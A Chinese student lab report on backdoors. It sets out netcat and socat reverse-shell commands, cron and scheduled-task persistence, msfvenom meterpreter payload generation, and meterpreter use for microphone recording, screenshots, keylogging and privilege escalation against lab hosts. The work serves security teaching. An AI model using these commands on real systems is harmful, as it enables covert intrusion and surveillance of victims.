实践基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
应用程序设定后门,用户安装后,后门就可以进入。例如课堂上讲到的百度。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win中的后门伴随软件启动
linux可以用corn启动
(3)Meterpreter有哪些给你映像深刻的功能?
可以获取他人的语音录音和视屏,还可以获取他人操作系统权限。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件查杀。
试验过程
课堂上试验:
实践过程:
(1)查看win7和kali的ip:
(2)进入ncat.exe目录下运行ncat.exe -l -p 5313
(3)反向链接:nc 192.168.43.65313 -e /bin/sh
(4)kali输入nc -l -p 5313
(5)Windows反弹连接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313
任务一:使用netcat获取主机操作Shell,cron启动
实践过程:
(1)Windows输入指令ncat.exe -l -p 5313
监听
(2)Linux输入指令crontab -e
,选择3打开,在最后一行添加代码:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小时的53分运行ncat回连win主机
(输入保存完成后,可以通过crontab -l
来查看)
(3)时间到了,就可以运行Linux shell指令:
任务二:使用socat获取主机操作Shell, 任务计划启动
实践过程:
(1)打开Windows->控制面板->系统和安全->管理工具->任务计划程序:
(2)新建任务计划,填写任务名称
(3)新建触发器,设置为工作站锁定时,并启用:
(4)新建操作,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令
(5)运行创建任务,在linux中输入指令socat - tcp:192.168.1.185:5313
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
实践过程:
(1)在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe
,此条指令意为生成一个.exe程序,名称为 20165313_backdoor,将来在windows上运行时会回连到Linux主机相应端口
(2)在cmd中输入指令ncat.exe -l 5313 > 5313_backdoor.exe
回车准备接收文件:
(3)在kali中输入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe
发送文件:
(4)输入msfconsole
启动
(5)依次输入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
输入show options
查看:
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实践过程:
(1)Linux输入指令exploit
开始监听
(2)windows 双击后门程序执行。
(3)输入指令record_mic
录制一段音频
(4)webcam_list
查看目标主机是否有摄像头
(5)输入指令screenshot
截取屏幕
(6)输入指令keyscan_start
记录击键内容,输入指令keyscan_dump
获取击键记录
(7)输入指令getsystem
提权失败
任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
参考了同组任胤的博客(https://www.cnblogs.com/FenixRen/p/10562400.html),发现他先生成shellcode ,再注入pwn1的方法走不通,我就试想是不是MSF可以直接将shellcode注入到PWN1文件中去,我去找了找,发现MSF可以自己生成一个可执行的后门,并且可以设定输出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根据学姐的博客成功使用MSF生成shellcode,pwn1中。如下图所示:
基本步骤学长的博客中都有了详细的介绍,这里我就不重复了(感兴趣的可以自己看看),这里我想说的是:
(1)在利用MSF注入时应考虑执行文件的属性问题,即是32位还是64位执行文件。
(2)打开MSF进行监听的时候,要根据被攻击的主机即后门程序进行设置,即 set payload xxxxxx/meterpreter/reverse_tcp
中的xxxxx要根据实际情况进行修改。任务三,四中被监听主机是Windows系统,则应为windows
,而任务五中,则应改成linux/x86
。
(3)操作细节注意:在Linux执行pwn3(注入shellcode之后的文件)应先加权限 chmod +x pwn3
。
(4)msfvenom –h 查看帮助:
中文解释:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源.模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
实验总结与体会
通过后门进行的攻击更加隐蔽,也更加难以防御,所以只有真正了解其原理,才能找出对应的防御方法。